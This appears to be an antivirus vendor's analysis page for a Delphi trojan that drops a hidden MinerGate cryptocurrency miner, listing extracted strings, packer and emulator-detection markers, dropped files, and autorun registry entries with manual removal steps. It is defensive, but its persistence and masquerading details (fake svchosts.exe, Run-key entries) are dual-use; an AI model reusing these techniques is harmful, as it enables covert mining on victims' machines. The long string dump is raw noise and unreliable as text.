SetViewportOrgEx

ShellExecuteW

ShellExecuteA

RtlFormatCurrentUserKeyPath

.idata

.edata

P.reloc

P.rsrc

emulatorsdetect.dll

2'2U2^2j2q2

Unspecified error (%d) from %s.

%Cookies FOLDER%

enigma_ide.dll

%s - Entry Point Not Found

The procedure entry point %s could not be located in the dynamic link library %s.

ÚysToKeyExp%

%RegKey%

%KeyExpYear%

%KeyExpMonth%

%KeyExpDay%

%CU_EXTFILES%

%CU_EXECPR%

%CU_INSTSERV%

%CU_WINVER%

%CU_VIRTTOOLS%

%TrialExecsTotal%

%TrialExecsLeft%

%TrialExecMinsTotal%

%TrialExecMinsLeft%

hh.exe

write.exe

attrib.exe

chkdsk.exe

compact.exe

find.exe

help.exe

winver.exe

regsvr32.exe

replace.exe

dllhost.exe

ntvdm.exe

tcpsvcs.exe

Was not able to create virtual value at ImportCall_ZwSetValueKey

Was not able to create virtual key at ImportCall_ZwSetValueKey

ImportCall_ZwLoadKey

ImportCall_ZwLoadKey2

ImportCall_ZwNotifyChangeKey

ImportCall_ZwQueryMultipleValueKey

ImportCall_ZwReplaceKey

ImportCall_ZwRestoreKey

ImportCall_ZwSaveKey

ImportCall_ZwSetInformationKey

ImportCall_ZwUnloadKey

evb*.tmp

.manifest

Unsupported call of ZwSetVolumeInformationFile

@<>:"/\|?*

Application requires password to start

Enter password

Change password

New password:

Confirm new password:

The file being readed is not a valid "Portable Network Graphics" image because it contains an invalid header. This file may be corruped, try obtaining it again.nThis "Portable Network Graphics" image is not supported or it might be invalid.

This "Portable Network Graphics" image is not supported because either it's width or height exceeds the maximum size, which is 65535 pixels length.

There is no such palette entry.dThis "Portable Network Graphics" image contains an unknown critical part which could not be decoded.pThis "Portable Network Graphics" image is encoded with an unknown compression scheme which could not be decoded.cThis "Portable Network Graphics" image uses an unknown interlace scheme which could not be decoded.-The chunks must be compatible to be assigned.jThis "Portable Network Graphics" image is invalid because the decoder found an unexpected end of the file.8This "Portable Network Graphics" image contains no data.oSome operation could not be performed because the system is out of resources. Close some windows and try again.OThis operation is not valid because the current image contains no valid header.4The new size provided for image resizing is invalid.

RichEdit line insertion error=This control requires version 4.70 or greater of COMCTL32.DLL

No help keyword specified.&Cannot change the size of a JPEG image

JPEG error #%d

JPEG Image FilejThis "Portable Network Graphics" image is not valid because it contains invalid pieces of data (crc error)yThe "Portable Network Graphics" image could not be loaded because one of its main piece of data (ihdr) might be corruptedUThis "Portable Network Graphics" image is invalid because it has missing image parts.[Could not decompress the image because it contains invalid compressed data.

Description: BThe "Portable Network Graphics" image contains an invalid palette.

No help found for %s#No context-sensitive help installed$No topic-based help system installed

Alt  Clipboard does not support Icons

Text exceeds memo capacity/Menu '%s' is already being used by another form

Unsupported clipboard format

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window

Failed to set data for '%s'

Resource %s not found

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

Property %s does not exist

Thread creation error: %s

Thread Error: %s (%d)

Invalid Format Specifier: %s7CreateClone not implemented for class %s with source %s

Cannot open file "%s". %s

'%s' is an invalid mask at (%d)$''%s'' is not a valid component name

Invalid data type for '%s' List capacity out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d) Out of memory while expanding memory stream

Error reading %s%s%s: %s

Failed to get data for '%s'

.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

Ancestor for '%s' not found

Cannot assign a %s to a %s

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s

Interface not supported

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

Invalid variant operation

Invalid NULL variant operation%Invalid variant operation (%s%.8x)

%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Operation not supported

External exception %x

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Privileged instruction(Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

!'%s' is not a valid integer value

I/O error %d

Integer overflow Invalid floating point operation

Emulators usually hooks all Windows API functions (due to a lot of APIs),

svchosts.exe_3932_rwx_01B72000_00001000:

?setCpuCores@AbstractMinerEngine@MinerGate@@QAEXI@Z

?setCpuCoresImpl@CNBaseEngine@MinerGate@@MAEXI@Z

?setCpuCoresImpl@ScryptBaseEngine@MinerGate@@MAEXI@Z

?startCpu@AbstractMinerEngine@MinerGate@@QAEXI@Z

?startCpuImpl@CNBaseEngine@MinerGate@@MAEXI@Z

?startCpuImpl@ScryptBaseEngine@MinerGate@@MAEXI@Z

kernel32.dll

user32.dll

advapi32.dll

oleaut32.dll

gdi32.dll

shell32.dll

version.dll

Qt5Core.dll

Qt5Network.dll

Qt5WebSockets.dll

cudart32_60.dll

MSVCP110.dll

MSVCR110.dll

plib.dll

RegCloseKey

ShellExecuteA

??0QWebSocket@@QAE@ABVQString@@W4Version@QWebSocketProtocol@@PAVQObject@@@Z

svchosts.exe_3932_rwx_01B82000_000D5000:

%SEoD

kern0l32.ud

;X.VB

-Dk%u

/S-Z}

o:.Lk>d

t:\N424

)9%XPh

%uC|p

12345678

#$%&*;<=.>@_

Keyw{

uÊl

s0.SVO

{:%cT

srO%C

%s_7d

_=p%u6

w:\3rdp^a

K:%Xa

cRTY E

S.rAtR

<.ou-(<Xf

TLM|%c

%Ch.ZZ

E).pJ

F.hqO

f;%XWm

6<Tj%S[i

%UlJ0

rviyc%s

.LR$/

7%)ntl%uG:

"%sc,4)

%SWv9Ia%

%cR1%

i|$_%DY

keyPs&<

23456789

BkEY

?,?3:4;8'9

%s2 (

.HYFKJ

 %SD3

,u%X'

hA.Dh

f;2%u[

Q.KPe

-y.lO

C Ö)

>X.PC$N(

.UP?1

("9%s

X%c&u

%s e(

.vpPDr

* ,-./01

e.UqOL&

.Mt>.

s%F@,h

ÞFAU

.uS%$

<N$.Fk

VirtualsP%ckP

-Q}iW

@%Xc^

Uc.HL@Y

;i.nc

ÜE6Hv

mc%dT

0}%f:7

%DZ`"

%C,/-

Q.KJ$'

"p.xUbP

Porta

8$4,6-9'

x"%D.

"%D,3

?F=N3V%f

?R?]%c

>P.km

Jx<%F

;-':X.NN

Xr9E%SA

.NgBH

z8H;\%U

3%x2KD

-.Ajo

.VX$~^~b~fJj

~"~&~*~.~2~6[:

-fYR%S

%C|:M

.ptY:(

8.tVkf

$y.fc

.Nd2(

~ ~$~(^,

.Ri?0

.HhbX

p5.oie

.ex|'

'.sVd

Y.pKs

h.Xw%7

:%5xBP

VM8Y

X.vFY<`C

hb2%X

= \#= 58

-.zy/

IM?%c

>.LJ^[t

=7>E?R?_%f

-.AXo

>,&%d

?#?'? ?/%

49!:%&):

.oPAp

(.tb:

Site : hXXp://VVV.enigmaprotector.com/

E-mail : support@enigmaprotector.com

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):

netsh.exe:2904
csc.exe:2692
cvtres.exe:1204
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:

C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5WebSockets.dll.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\platforms\qwindows.dll.tmp (16304 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EA618097E393409AFA316F0F87E2C202_46519A157B2BAB4EE4C3983F3D40BE84 (1480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\ssleay32.dll.tmp (5128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\libeay32.dll.tmp (17572 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\9_5kvxh8.0.cs (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8vach8vach.zip (1262872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\svchosts.exe.tmp (104386 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EA618097E393409AFA316F0F87E2C202_46519A157B2BAB4EE4C3983F3D40BE84 (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\wscomment.vbs:Zone.Identifier (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\plib.dll.tmp (1568 bytes)
C:\Windows\System32\uTorrents\uTorrents.exe (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarE08F.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabE08E.tmp (51 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\9_5kvxh8.cmdline (236 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\vccorlib110.dll.tmp (4984 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\svchosts.exe:Zone.Identifier (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\msvcp110.dll.tmp (10448 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5Network.dll.tmp (14600 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\sysdsengert.xml (462 bytes)
C:\Windows\System32\uTorrents\uTorrents.exe:Zone.Identifier (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\msvcr110.dll.tmp (15568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\cudart32_60.dll.tmp (4984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5Core.dll.tmp (71595 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\9_5kvxh8.out (303 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE (1194 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\run.bat (61 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\run.bat:Zone.Identifier (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CSCE188.tmp (652 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\9_5kvxh8.dll (2994 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RESE189.tmp (3666 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\minergate-cli\log\minergate.log (295 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\minergate-cli\miners.ini (57 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"uTorrents" = "C:\Windows\system32\uTorrents\uTorrents.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"WindowsData" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\wscomment.vbs"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Permalink

Back to the blog

e-mail

Google+

Twitter

Facebook

Trojan.Win32.Delphi_ef20686149

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet